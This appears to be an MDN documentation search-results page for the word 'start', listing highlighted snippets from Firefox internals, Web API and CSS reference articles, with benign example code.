startrequest does all sorts of initialization on the main thread. at that point, nothing has happened on the parser thread yet and the nshtml5streamparser lives fully on the main thread. passing data to the parser thread nshtml5streamparser gets some of its methods called on the main thread and some called on the parser t...
...ion tree op is generated. (the tree builder makes the tokenizer return immediately when such an op is generated.) thus, a tree op that may cause the parser to block can only occur as the last op in a queue that runflushloop sees. preparing the parser thread for script execution when the parser thread sees that it has generated a tree op that attempts to execute a (non-async, non-defer) script, it
starts speculating. it acquires mspeculationmutex and while holding it, it creates a new speculation and adds it to the queue of speculations, flushes the tree ops to the main thread, marks the nshtml5streamparser as being in a speculating state and sets the newly created speculation object as the tree op sink (instead of the tree op stage described earlier) of the tree builder. the speculation object ...
...d, marks the nshtml5streamparser as being in a speculating state and sets the newly created speculation object as the tree op sink (instead of the tree op stage described earlier) of the tree builder. the speculation object has a queue of tree ops (into which the tree builder will now flush ops to instead of the tree op stage), an owning reference to the nshtml5owningutf16buffer that contains the
starting point of the speculation, an index into the nshtml5owningutf16buffer defining the exact
starting point within the buffer, the line number of the tokenizer at that point and a snapshot of the tree op state. the line number and the snapshot are also added to the tree op that attempts to execute scripts (before flushing it). the tree builder snapshot contains a copy of the tree builder stack, a c...
...And 4 more matches
AddonListener
with addaddonlistener() and will then receive notification of changes to the add-ons currently installed. these notifications come in the form of calls to methods on the listener object. a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any problems. ...
...hese notifications come in the form of calls to methods on the listener object. a listener only needs to implement the methods corresponding to the events it cares about; missing methods will not cause any problems. ...
...ement the methods corresponding to the events it cares about; missing methods will not cause any problems. method overview void onenabling(in addon addon, in boolean needsre
start) void onenabled(in addon addon) void ondisabling(in addon addon, in boolean needsre
start) void ondisabled(in addon addon) void oninstalling(in addon addon, in boolean needsre
start) void oninstalled(in addon addon) void onuninstalling(in addon addon, in boolean needsre
start) void onuninstalled(in addon addon) void onoperationcancelled(in addon addon) void onpropertychanged(in addon addon, in string properties[]) methods onenabling() called when an add-on is about to be enabled. void onenabling( in addon addon, in bo...
...And 4 more matches
CustomizableUI.jsm
s. 'special' widgets: these are the representations of xul <toolbarseparator>, <toolbarspring> and <toolbarspacer> elements. customizableui provides apis to add, move and remove all these different widgets, and mostly abstracts the dom away from you. the lifetime of your widget should be identical to the lifetime of the add-on - it's process-global, so if you call createwidget on bootstrap's "
startup" and destroywidget on bootstrap's "shutdown", that's enough. listeners customizableui provides a way to listen for various bits of customization happening. this can be useful if other parts of the code need to react to changes in the customization of the user interface. in order to use this facility, you should create a plain js object which defines some of the event handlers defined below. ...
...happening. only fired for api-based widgets. onwidgetdrag(awidgetid, aarea) fired both when and after customize mode drag handling system tries to determine the width and height of widget awidgetid when dragged to a different area. aarea will be the area the item is dragged to, or undefined after the measurements have been done and the node has been moved back to its 'regular' area. oncustomize
start(awindow) fired when opening customize mode in awindow. oncustomizeend(awindow) fired when exiting customize mode in awindow. onwidgetoverflow(anode, acontainer) fired when a widget's dom node is overflowing its container, a toolbar, and will be displayed in the overflow panel. onwidgetunderflow(anode, acontainer) fired when a widget's dom node is not overflowing its container, a toolbar, a...
...swidgetremovable(awidgetnodeorwidgetid); bool canwidgetmovetoarea(awidgetid); void getlocalizedproperty(awidget, aprop, aformatargs, adef); void hidepanelfornode(anode); bool isspecialwidget(awidgetid); void addpanelcloselisteners(apanel); void removepanelcloselisteners(apanel); void onwidgetdrag(awidgetid, aarea); void notify
startcustomizing(awindow); void notifyendcustomizing(awindow); void dispatchtoolboxevent(aevent, adetails, awindow); bool isareaoverflowable(aareaid); void settoolbarvisibility(atoolbarid, aisvisible); string getplaceforitem(aelement); bool isbuiltintoolbar(atoolbarid); methods addlistener() add a listener object that will get fired for var...
...And 4 more matches
Downloads.jsm
the downloads.jsm javascript code module provides a single entry point to interact with the downloading capabilities of the platform, including
starting new downloads, controlling ongoing downloads, and retrieving download-related configuration. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/downloads.jsm"); method overview promise<download> createdownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not
started from a private browsing window. pri...
...eatedownload(object aproperties); promise<void> fetch(asource, atarget, [optional] object aoptions); promise<downloadlist> getlist(atype); promise<downloadsummary> getsummary(atype); constants constant description public work on downloads that were not
started from a private browsing window. private work on downloads that were
started from a private browsing window. all work on both downloads.private and downloads.public downloads. properties attribute type description error read only constructor constructor for a downloaderror object. when you catch an exception during a download, you can use this to verify if ex instanceof downloads.error, before reading the exception prop...
...: optional string representing the class of the download operation. if omitted, defaults to "copy". alternatively, may be the serializable representation of a downloadsaver object. promise resolves to the newly created download object. fetch() downloads data from a remote network location to a local file. this download method does not provide user interface or the ability to cancel or re
start the download programmatically. for that, you should obtain a reference to a download object using the createdownload() function. since the download cannot be re
started, any partially downloaded data will not be kept in case the download fails. promise fetch( asource, atarget, object aoptions ); parameters asource string containing the uri for the download source. alternatively, may ...
...And 4 more matches
sslfnc.html
used to remember the certificates previously presented by clients for client certificate authentication. passing a null value or a value that is out of range for any of the parameters causes the server default value to be used in the server cache. the values that you pass affect only the server cache, not the client cache. initializing multi-processing with a shared ssl server cache to
start a multi-processing application, the initial parent process calls ssl_configmpserversidcache, and then creates child processes, by one of these methods: call fork and then exec (unix) call createprocess (win32) call pr_createprocess (both unix and win32) it is essential that the parent allow the child to inherit the file descriptors. win32's createprocess takes an argument that tells i...
...cate ssl_badcerthook ssl_getclientauthdatahook nss_getclientauthdata ssl_handshakecallback setting up the callback functions described in this section may be optional for some applications. however, all applications must use pk11_setpasswordfunc to set up the password callback function during nss initialization. for examples of the callback functions listed here, see chapter 2, "getting
started with ssl." ssl_authcertificatehook specifies a certificate authentication callback function called to authenticate an incoming certificate. syntax #include "ssl.h" secstatus ssl_authcertificatehook( prfiledesc *fd, sslauthcertificate f, void *arg); parameters this function has the following parameters: fd a pointer to the file descriptor...
...eviously called ssl_badcerthook. a bad-certificate callback function gives the application the opportunity to choose to accept the certificate as authentic and authorized even though it failed the check performed by the certificate authentication callback function. see also for examples of certificate authentication callback functions, see the sample code referenced from chapter 2, "getting
started with ssl." ssl_authcertificate default callback function used to authenticate certificates received from the remote end of an ssl connection if the application has not previously called ssl_authcertificatehook to specify its own certificate authentication callback function. syntax #include "ssl.h" secstatus ssl_authcertificate( void *arg, prfiledesc *fd, prbool checksig, ...
...And 4 more matches
Gecko events
d from the selection. is supported: yes event_selection_within numerous selection changes have occurred within a container object. is supported: yes event_alert an alert has been generated. server applications send this event when a user needs to know that a user interface element has changed. is supported: yes event_foreground the foreground window has changed. is supported: no event_menu_
start a menu item on the menu bar has been selected. is supported: yes event_menu_end a menu from the menu bar has been closed. is supported: yes event_menupopup_
start a pop-up menu has been displayed. is supported: yes event_menupopup_end a pop-up menu has been closed. is supported: yes event_capture_
start a window has received mouse capture. is supported: no event_capture_end a window has ...
...supported: yes event_menu_end a menu from the menu bar has been closed. is supported: yes event_menupopup_
start a pop-up menu has been displayed. is supported: yes event_menupopup_end a pop-up menu has been closed. is supported: yes event_capture_
start a window has received mouse capture. is supported: no event_capture_end a window has lost mouse capture. is supported: no event_movesize_
start a window is being moved or resized. ...
... event_menupopup_end a pop-up menu has been closed. is supported: yes event_capture_
start a window has received mouse capture. is supported: no event_capture_end a window has lost mouse capture. is supported: no event_movesize_
start a window is being moved or resized. ...
...And 4 more matches
nsDependentCSubstring
nst char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members. ...
... getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members. ...
...void nsdependentcsubstring(const nsacstring_internal&, pruint32, pruint32) - source parameters nsacstring_internal& str pruint32
startpos pruint32 length void nsdependentcsubstring(const char*, const char*) - source parameters char*
start char* end void nsdependentcsubstring(const nsreadingiterator<char>&, const nsreadingiterator<char>&) - source parameters nsreadingiterator<char>&
start nsreadingiterator<char>& end void nsdependentcsubstring() - source rebind void rebind(const nsacstring_internal&, pruint32, pruint32) - source parameters nsacstring_internal& <anonymous> pruint32
startpos pruint32 length void rebind(const char*, const char*) - source parameters char*
start char* end beginreading char* beginreading() const - source reading iterators n...
...And 4 more matches
nsDependentSubstring
l(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members. ...
... getmutabledata setisvoid stripchar base classes nsastring_internal data members no public members. ...
...nt32, pruint32) - source parameters nsastring_internal& str pruint32
startpos pruint32 length void nsdependentsubstring(const prunichar*, const prunichar*) - source parameters prunichar*
start prunichar* end void nsdependentsubstring(const nsreadingiterator<short unsigned int>&, const nsreadingiterator<short unsigned int>&) - source parameters nsreadingiterator<short unsigned int>&
start nsreadingiterator<short unsigned int>& end void nsdependentsubstring() - source rebind void rebind(const nsastring_internal&, pruint32, pruint32) - source parameters nsastring_internal& <anonymous> pruint32
startpos pruint32 length void rebind(const prunichar*, const prunichar*) - source parameters prunichar*
start prunichar* end beginreading prunichar* beginreading() co...
...And 4 more matches
nsIWebProgressListener
n nsresult astatus); void onstatuschange(in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage); constants state transition flags these flags indicate the various states that requests may transition through as they are being loaded. these flags are mutually exclusive. for any given request, onstatechange() is called once with the state_
start flag, zero or more times with the state_transferring flag or once with the state_redirecting flag, and then finally once with the state_stop flag. note: for document requests, a second state_stop is generated (see the description of state_is_window for more details). constant value description state_
start 0x00000001 this flag indicates the
start of a request. this ...
...uest is complete when onstatechange() is called for the same request with the state_stop flag set. state_redirecting 0x00000002 this flag indicates that a request is being redirected. the request passed to onstatechange() is the request that is being redirected. when a redirect occurs, a new request is generated automatically to process the new request. expect a corresponding state_
start event for the new request, and a state_stop for the redirected request. state_transferring 0x00000004 this flag indicates that data for a request is being transferred to an end consumer. this flag indicates that the request has been targeted, and that the user may
start seeing content corresponding to the request. state_negotiating 0x00000008 this flag is not used. ...
... the loading of its corresponding document have completed. this includes other document requests (for example corresponding to html <iframe> elements). the document corresponding to a document request is available via the domwindow attribute of onstatechange()'s awebprogress parameter. state_is_network 0x00040000 this flag indicates that the state transition corresponds to the
start or stop of activity in the indicated nsiwebprogress instance. this flag is accompanied by either state_
start or state_stop, and it may be combined with other state type flags. unlike state_is_window, this flag is only set when activity within the nsiwebprogress instance being observed
starts or stops. if activity only occurs in a child nsiwebprogress instance, then this flag will be set to i...
...And 4 more matches
Using COM from js-ctypes
the windows api mostly concerns itself with the interaction between the operating system and an application. for communication between the different windows applications among themselves, microsoft has developed a series of technologies alongside the main windows api. this
started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework. com is c++ and it cannot be written directly with js-ctypes. this documentaion explains how to convert the com c++ code into js-ctypes code. basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 5...
...ode. basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c. after that, we can pass a pointer . speech synthesis example let's
start with following c++ code, which invokes microsoft speech api and says "hello, firefox!" with system default voice, then wait until the speaking done. #include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { ispvoice* pvoice = null; hresult hr = cocreateinstance(clsid_spvoice, null, clsctx_all, iid_ispvoice, (void**)&pvo...
... coinitalize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.c, and run following command in the directory. $ cl ole32.lib test.c c code with pseudo struct needs pseudo struct description here. ...
...And 4 more matches
console - Web APIs
sage. you may use string substitution and additional arguments with this method. console.exception() an alias for error(). console.group() creates a new inline group, indenting all following output by another level. to move back out a level, call groupend(). console.groupcollapsed() creates a new inline group, indenting all following output by another level. however, unlike group() this
starts with the inline group collapsed requiring the use of a disclosure button to expand it. to move back out a level, call groupend(). console.groupend() exits the current inline group. console.info() informative logging of information. you may use string substitution and additional arguments with this method. console.log() for general output of logging information. you may use string substitut...
...utton to expand it. to move back out a level, call groupend(). console.groupend() exits the current inline group. console.info() informative logging of information. you may use string substitution and additional arguments with this method. console.log() for general output of logging information. you may use string substitution and additional arguments with this method. ...
... console.timelog() logs the value of the specified timer to the console. ...
...And 4 more matches
Using Fetch - Web APIs
it assumes the text is utf-8, and doesn't handle fetch errors). ...
...nse = await fetch(fileurl); const reader = response.body.getreader(); let { value: chunk, done: readerdone } = await reader.read(); chunk = chunk ? utf8decoder.decode(chunk) : ''; const re = /\n|\r|\r\n/gm; let
startindex = 0; let result; for (;;) { let result = re.exec(chunk); if (!result) { if (readerdone) { break; } let remainder = chunk.substr(
startindex); ({ value: chunk, done: readerdone } = await reader.read()); chunk = remainder + (chunk ? ...
... utf8decoder.decode(chunk) : ''; const re = /\n|\r|\r\n/gm; let
startindex = 0; let result; for (;;) { let result = re.exec(chunk); if (!result) { if (readerdone) { break; } let remainder = chunk.substr(
startindex); ({ value: chunk, done: readerdone } = await reader.read()); chunk = remainder + (chunk ? ...
...And 4 more matches
Using the Gamepad API - Web APIs
array is a floating point value in the range -1.0 - 1.0, representing the axis position from the lowest value (-1.0) to the highest value (1.0). timestamp: this returns a domhighrestimestamp representing the last time the data for this gamepad was updated, allowing developers to determine if the axes and button data have been updated from the hardware. the value must be relative to the navigation
start attribute of the performancetiming interface. values are monotonically increasing, meaning that they can be compared to determine the ordering of updates, as newer values will always be greater than or equal to older values. note that this property is not currently supported in firefox. note: the gamepad object is available on the gamepadconnected event rather than the window object itself, fo...
...t will be updated every time the gamepad's state changes. using button information let's look at a simple example that displays connection information for one gamepad (it ignores subsequent gamepad connections) and allows you to move a ball around the screen using the four gamepad buttons on the right hand side of the gamepad. you can view the demo live, and find the source code on github. to
start with, we declare some variables: the gamepadinfo paragraph that the connection info is written into, the ball that we want to move, the
start variable that acts as the id for requestanimation frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the requestanimationframe() and cancelanimationframe() cross browser forks. ...
...ll that we want to move, the
start variable that acts as the id for requestanimation frame, the a and b variables that act as position modifiers for moving the ball, and the shorthand variables that will be used for the requestanimationframe() and cancelanimationframe() cross browser forks. var gamepadinfo = document.getelementbyid("gamepad-info"); var ball = document.getelementbyid("ball"); var
start; var a = 0; var b = 0; next we use the gamepadconnected event to check for a gamepad being connected. when one is connected, we grab the gamepad using navigator.getgamepads()[0], print information about the gamepad into our gamepad info div, and fire the gameloop() function that
starts the whole ball movement process up. window.addeventlistener("gamepadconnected", function(e) { var gp = navi...
...And 4 more matches
Ajax navigation example - Web APIs
iles (or git clone https://github.com/giabao/mdn-ajax-nav-example.git ): note: for fully integrating the <form> elements within this mechanism, please take a look at the paragraph submitting forms and uploading files. ...
...ge"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_
start(); } else { ?> <!doctype html> <html> <head> <?php include "include/header.php"; echo "<title>" . $page_title . ...
..."; ?> <p>this paragraph is shown only when the navigation
starts from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation
starts from <strong>first_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> second_page.php: <?php $page_title = "second page"; $as_json = false; if (isset($_get["view_as"]) && $_get["view_as"] == "json") { $as_json = true; ob_
start(); } else { ?> <!doctype html> <html> <head> <?php include ...
...And 4 more matches
ReadableStreamDefaultReader.read() - Web APIs
ot ending on line boundaries and converting from uint8array to strings. ...
... response = await fetch(fileurl); let reader = response.body.getreader(); let {value: chunk, done: readerdone} = await reader.read(); chunk = chunk ? utf8decoder.decode(chunk) : ""; let re = /\r\n|\n|\r/gm; let
startindex = 0; let result; for (;;) { let result = re.exec(chunk); if (!result) { if (readerdone) { break; } let remainder = chunk.substr(
startindex); ({value: chunk, done: readerdone} = await reader.read()); chunk = remainder + (chunk ? ...
...nk ? utf8decoder.decode(chunk) : ""; let re = /\r\n|\n|\r/gm; let
startindex = 0; let result; for (;;) { let result = re.exec(chunk); if (!result) { if (readerdone) { break; } let remainder = chunk.substr(
startindex); ({value: chunk, done: readerdone} = await reader.read()); chunk = remainder + (chunk ? ...
...And 4 more matches
TouchEvent - Web APIs
chevent.metakey read only a boolean value indicating whether or not the meta key was down when the touch event was fired. touchevent.shiftkey read only a boolean value indicating whether or not the shift key was down when the touch event was fired. touchevent.targettouchesread only a touchlist of all the touch objects that are both currently in contact with the touch surface and were also
started on the same element that is the target of the event. touchevent.touches read only a touchlist of all the touch objects representing all current points of contact with the surface, regardless of target or changed status. touchevent.rotation read only change in rotation (in degrees) since the event's beginning. positive values indicate clockwise rotation; negative values indicate anticloc...
...he digits at the beginning of the event. values below 1.0 indicate an inward pinch (zoom out). values above 1.0 indicate an outward unpinch (zoom in). initial value: 1.0 touch event types there are several types of event that can be fired to indicate that touch-related changes have occurred. you can determine which of these has happened by looking at the event's touchevent.type property. touch
start sent when the user places a touch point on the touch surface. the event's target will be the element in which the touch occurred. touchend sent when the user removes a touch point from the surface (that is, when they lift a finger or stylus from the surface). this is also sent if the touch point moves off the edge of the surface; for example, if the user's finger slides off the edge of the scr...
...event's target will be the element in which the touch occurred. touchend sent when the user removes a touch point from the surface (that is, when they lift a finger or stylus from the surface). this is also sent if the touch point moves off the edge of the surface; for example, if the user's finger slides off the edge of the screen. ...
...And 4 more matches
WebGL model view projection - Web APIs
iety of useful transformations. in fact, the typical perspective projection matrix uses the division by the w component to achieve its transformation. the clipping of points and polygons from clip space actually happens after the homogeneous coordinates have been transformed back into cartesian coordinates (by dividing by w). this final space is known as normalized device coordinates or ndc. to
start playing with this idea the previous example can be modified to allow for the use of the w component. //redefine the triangles to use the w component var data = new float32array([ //triangle 1 settings.left, settings.bottom, settings.depth, settings.w, settings.right, settings.bottom, settings.depth, settings.w, settings.left, settings.top, settings.depth, settings.w, //triangle 2...
... the cube still doesn't have any perspective. the next section will take this setup and modify the w values to provide some perspective. exercises shrink down the box using the scale matrix and position it in different places within clip space. try moving it outside of clip space. resize the window and watch as the box skews out of shape. add a rotatez matrix. divide by w an easy way to
start getting some perspective on our model of the cube is to take the z coordinate and copy it over to the w coordinate. normally when converting a cartesian point to homogeneous it becomes (x,y,z,1), but we're going to set it to something like (x,y,z,z). in reality we want to make sure that z is greater than 0 for points in view, so we'll modify it slightly by changing the value to ((1.0 + z) * scale...
...der and play around with the scale factor and watch how it shrinks vertices more towards the surface. completely change the w component values for really trippy representations of space. in the next section we'll take this step of copying z into the w slot and turn it into a matrix. simple projection the last step of filling in the w component can actually be accomplished with a simple matrix.
start with the identity matrix: var identity = [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, ]; mdn.multiplypoint(identity, [2, 3, 4, 1]); //> [2, 3, 4, 1] then move the last column's 1 up one space. var copyz = [ 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, ]; mdn.multiplypoint(copyz, [2, 3, 4, 1]); //> [2, 3, 4, 4] however in the last example we performed (z + 1) * scal...
...And 4 more matches
Lifetime of a WebRTC session - Web APIs
e of the content will move to other pages as the webrtc guide material is built out. pardon our dust! establishing the connection the internet is big. really big. it’s so big that years ago, smart people saw how big it was, how fast it was growing, and the limitations of the 32-bit ip addressing system, and realized that something had to be done before we ran out of addresses to use, so they
started working on designing a new 64-bit addressing system. but they realized that it would take longer to complete the transition than 32-bit addresses would last, so other smart people came up with a way to let multiple computers share the same 32-bit ip address. network address translation (nat) is a standard which supports this address sharing by handling routing of data inbound and outbound to an...
...signaling server. the exact contents and form of this identifier is up to you. each peer connects to an agreed-upon signaling server, such as a websocket server they both know how to exchange messages with. each peer tells the signaling server that they want to join the same webrtc session (identified by the token established in step 4). descriptions, candidates, etc. -- more coming up ice re
start sometimes, during the lifetime of a webrtc session, network conditions change. one of the users might transition from a cellular to a wifi network, or the network might become congested, for example. when this happens, the ice agent may choose to perform ice re
start. this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, ...
...ay choose to perform ice re
start. this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, with one exception: media continues to flow across the original network connection until the new one is up and running. then media shifts to the new network connection and the old one is closed. note: different browsers support ice re
start under different sets of conditions. not all browsers will perform ice re
start due to network congestion, for example. if you need to change the configuration of the connection in some way (such as changing to a different set of ice servers), you can do so before re
starting ice by calling rtcpeerconnection.setconfiguration() with an updated rtcconfiguration dictionary before re
starting ice. to ...
...And 4 more matches
Using the Web Speech API - Web APIs
color to change the background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices. javascript let's look at the javascript in a bit more detail. ...
...nitionlist.addfromstring(grammar, 1); we then add the speechgrammarlist to the speech recognition instance by setting it to the value of the speechrecognition.grammars property. we also set a few other properties of the recognition instance before we move on: speechrecognition.continuous: controls whether continuous results are captured (true), or just a single result each time recognition is
started (false). speechrecognition.lang: sets the language of the recognition. setting this is good practice, and therefore recommended. speechrecognition.interimresults: defines whether the speech recognition system should return interim results, or just final results. final results are good enough for this simple demo. speechrecognition.maxalternatives: sets the number of alternative potential mat...
...completely clear and you want to display a list if alternatives for the user to choose the correct one from. but it is not needed for this simple demo, so we are just specifying one (which is actually the default anyway.) recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1;
starting the speech recognition after grabbing references to the output <div> and the html element (so we can output diagnostic messages and update the app background color later on), we implement an onclick handler so that when the screen is tapped/clicked, the speech recognition service will
start. this is achieved by calling speechrecognition.
start(). the foreach() method is used to output colored ...
...And 4 more matches
Implementing a Microsoft Active Accessibility (MSAA) Server - Accessibility
event does, see the msdn event constants page. check with your assistive technology partners to find out what events you need to support. ...
...logy partners to find out what events you need to support. ...
...e they won't ask for more than the events marked [important]: event_system_sound event_system_alert [can be important, to have auto-speaking for newly created role_alerts] event_system_foreground event_system_menu
start [important] event_system_menuend [important] event_system_menupopup
start [important] event_system_menupopupend [important] event_system_capture
start event_system_captureend event_system_movesize
start event_system_movesizeend event_system_contexthelp
start event_system_contexthelpend event_system_dragdrop
start event_system_dragdropend event_system_dialog
start event_system_dialogend event_system_scrolling
start event_system_scrollingend [possibly important, talk to at vendor] event_system_switchstar...
...And 4 more matches
Logical properties for floating and positioning - CSS: Cascading Style Sheets
sitioning properties used with positioned layout. this guide takes a look at how to use these. mapped properties and values the table below details the properties and values discussed in this guide along with their physical mappings. they assume a horizontal writing-mode, with a left-to-right direction. ...
... these. mapped properties and values the table below details the properties and values discussed in this guide along with their physical mappings. they assume a horizontal writing-mode, with a left-to-right direction. ...
...es discussed in this guide along with their physical mappings. they assume a horizontal writing-mode, with a left-to-right direction. logical property or value physical property or value float: inline-
start float: left float: inline-end float: right clear: inline-
start clear: left clear: inline-end clear: right inset-inline-
start left inset-inline-end right inset-block-
start top inset-block-end bottom text-align:
start text-align: left text-align: end text-align: right in addition to these mapped properties there are some additional shorthand properties made possible by being able to address block and inline dimensions. these have no mapping to physical...
...And 4 more matches
CSS reference - CSS: Cascading Style Sheets
drop-filterbackface-visibilitybackgroundbackground-attachmentbackground-blend-modebackground-clipbackground-colorbackground-imagebackground-originbackground-positionbackground-repeatbackground-size<basic-shape>::before (:before)bleed (@page)<blend-mode>block-sizeblur()borderborder-blockborder-block-colorborder-block-endborder-block-end-colorborder-block-end-styleborder-block-end-widthborder-block-
startborder-block-
start-colorborder-block-
start-styleborder-block-
start-widthborder-block-styleborder-block-widthborder-bottomborder-bottom-colorborder-bottom-left-radiusborder-bottom-right-radiusborder-bottom-styleborder-bottom-widthborder-collapseborder-colorborder-end-end-radiusborder-end-
start-radiusborder-imageborder-image-outsetborder-image-repeatborder-image-sliceborder-image-sourceborder-image-...
...lorborder-bottom-left-radiusborder-bottom-right-radiusborder-bottom-styleborder-bottom-widthborder-collapseborder-colorborder-end-end-radiusborder-end-
start-radiusborder-imageborder-image-outsetborder-image-repeatborder-image-sliceborder-image-sourceborder-image-widthborder-inlineborder-inline-colorborder-inline-endborder-inline-end-colorborder-inline-end-styleborder-inline-end-widthborder-inline-
startborder-inline-
start-colorborder-inline-
start-styleborder-inline-
start-widthborder-inline-styleborder-inline-widthborder-leftborder-left-colorborder-left-styleborder-left-widthborder-radiusborder-rightborder-right-colorborder-right-styleborder-right-widthborder-spacingborder-
start-end-radiusborder-
start-
start-radiusborder-styleborder-topborder-top-colorborder-top-left-radiusborder-top-right-radiusb...
...)font-variant-alternatesfont-variant-capsfont-variant-east-asianfont-variant-ligaturesfont-variant-numericfont-variant-positionfont-variation-settingsfont-variation-settings (@font-face)font-weightfont-weight (@font-face)format()fr<frequency><frequency-percentage>:fullscreenggapgrad<gradient>grayscale()gridgrid-areagrid-auto-columnsgrid-auto-flowgrid-auto-rowsgrid-columngrid-column-endgrid-column-
startgrid-rowgrid-row-endgrid-row-
startgrid-templategrid-template-areasgrid-template-columnsgrid-template-rowshhzhanging-punctuationheightheight (@viewport)@historical-forms:hoverhsl()hsla()hue-rotate()hyphensi<ident><image>image()image-orientationimage-renderingimage-set()@importin:in-range:indeterminateinheritinitialinline-sizeinsetinset()inset-blockinset-block-endinset-block-
startinset-inlineinset-i...
...And 4 more matches
animation - CSS: Cascading Style Sheets
s%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22re
start%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#play'); } button.pause { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path...
...s%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22re
start%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#pause'); } button.re
start { background-image: url('data:image/svg+xml;charset=utf-8,%3csvg%20xmlns%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20p...
...s%3d%22http%3a%2f%2fwww.w3.org%2f2000%2fsvg%22%20viewbox%3d%220%200%2016%2016%22%3e%3cstyle%3epath%20%7bdisplay%3anone%7d%20path%3atarget%7bdisplay%3ablock%7d%3c%2fstyle%3e%3cpath%20id%3d%22play%22%20d%3d%22m3%2c3%20l3%2c13%20l13%2c8%20z%22%20%2f%3e%3cpath%20id%3d%22pause%22%20d%3d%22m5%2c4%20l7%2c4%20l7%2c13%20l5%2c13%20z%20m9%2c4%20l11%2c4%20l11%2c13%20l9%2c13%20z%22%20%2f%3e%3cpath%20id%3d%22re
start%22%20d%3d%22m13%2c9%20a5%2c5%2c1%2c1%2c1%2c8%2c4%20l8%2c2%20l12%2c5%20l8%2c8%20l8%2c6%20a3%2c3%2c1%2c1%2c0%2c11%2c9%20a1%2c1%2c1%2c1%2c1%2c13%2c9%20z%22%20%2f%3e%3c%2fsvg%3e#re
start'); } .grid { width: 100%; height: 100%; display: flex; background: #eee; font: 1em monospace; } .row { display: flex; flex: 1 auto; flex-direction: row; flex-wrap: wrap; justify-content: space-be...
...And 4 more matches
box-align - CSS: Cascading Style Sheets
a property of the original css flexible box layout module draft, and has been replaced by a newer standard. the box-align css property specifies how an element aligns its contents across its layout in a perpendicular direction. the effect of the property is only visible if there is extra space in the box. see flexbox for information about the current standard. ...
... baseline the box aligns the baselines of the contents (lining up the text). ...
... baseline the box aligns the baselines of the contents (lining up the text). this only applies if the box's orientation is horizontal. ...
...And 4 more matches
grid-row - CSS: Cascading Style Sheets
the grid-row css shorthand property specifies a grid item’s size and location within the grid row by contributing a line, a span, or nothing (automatic) to its grid placement, thereby specifying the inline-
